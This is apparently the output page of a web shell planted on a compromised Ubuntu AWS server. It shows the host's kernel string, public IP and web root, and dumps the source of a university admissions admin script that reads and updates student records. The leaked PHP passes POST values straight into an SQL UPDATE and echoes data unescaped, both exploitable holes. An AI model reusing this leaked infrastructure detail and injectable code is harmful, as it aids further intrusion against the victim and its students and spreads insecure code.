0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.97.1


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/admdata.php

<?php

$screen=$_POST['screen'];

include("/var/www/config.php");
	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;


$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

error_reporting(E_ALL);
ini_set('display_errors', 'on');

if($screen == 'admdisp')
{

    $query  = "select fappno,frollno,fname,fphotopath,fsex from logisys3_sikkim.studadm where ifnull(fsex,'') = 'n'";

    $result = mysqli_query($conn, $query);
    $count = mysqli_num_rows($result);
    
    $table = '
    <table style="margin-left:2px;text-align: left;width: 90%;font-size:14px;margin: auto;" align-self="middle" cellspacing="1" cellpadding="5" border="0" align="center" bgcolor="#505151">
            <thead> 
            <tr style = "background-color:#8acc51">
			 <th width="8%"><center>Sl. No.</center></th>
             <th width="10%" ><center style="width: 100px">App. No.</center></th>
             <th width="25%"><center>Roll No.</center></th>
             <th width="25%"><center>Name </center></th>
             <th width="10%"><center>Photo</center></th>
             <th width="10%"><center>Gender</center></th>
             <th width="10%"><center> Action </center></th>
			</tr>
            </thead>';	
    $i = 0;

    if($count > 0)
    {
       
        while($row = mysqli_fetch_assoc($result))
        {

            $Selected1 = "";
            $Selected2 = "";
            $table .= "<tr bgcolor='#ffffff' >";
            $table .= "<td><center>".++$i."</center></td>";
            $table .= "<td>".$row['fappno']."</td>";
            $table .= "<td>".$row['frollno']."</td>";
            $table .= "<td>".$row['fname']."</td>";
            $table .= "<td><img src='https://university-student-photos.s3.ap-south-1.amazonaws.com/018/".$row['fphotopath']."' alt='Student Photo' width='60' height='70'></td>";
            $table .= "<td><center><select  style = 'height:32px;' id='gender_{$row['fappno']}'>";
            $table .= "<option value=''>-Select-</option>";

            if($row['fsex'] == 'M')
            {
                $Selected1 = "selected";
                $Selected2 = "";

            }else if($row['fsex'] == 'F')
            {
                $Selected2 = "selected";
                $Selected1 = "";
            }

            $table .= "<option ".$Selected1.$Selected2." value='M'>Male</option>";
            $table .= "<option ".$Selected1.$Selected2." value='F'>Female</option>";    
            
            $table .= "</select></center></td>";
            $table .= "<td><button onclick=\"updatedata('".$row['fappno']."')\">Update</button></td>";
            $table .= "</tr>";
        }
    }
    else
    {
        $table .= "<tr bgcolor='#ffffff' >";
        $table .= "<td colspan='4'><center>No data found</center></td>";
    }
    
    // $subject = "{$row['funivname']} Statistics as on ".$row['fdate'];

    echo $table;
}else if($screen =='admupd')
{
    $adm_app=$_POST['adm_app'];
    $gender=$_POST['gender'];
    
    $query  = "update logisys3_sikkim.studadm set fsex='{$gender}'
    WHERE fappno='{$adm_app}'";

    $result = mysqli_query($conn, $query);

    if($result)
    {
        echo "Updated Successfully";
    }
    else
    {
        echo "Updation failed";
    }

}

?>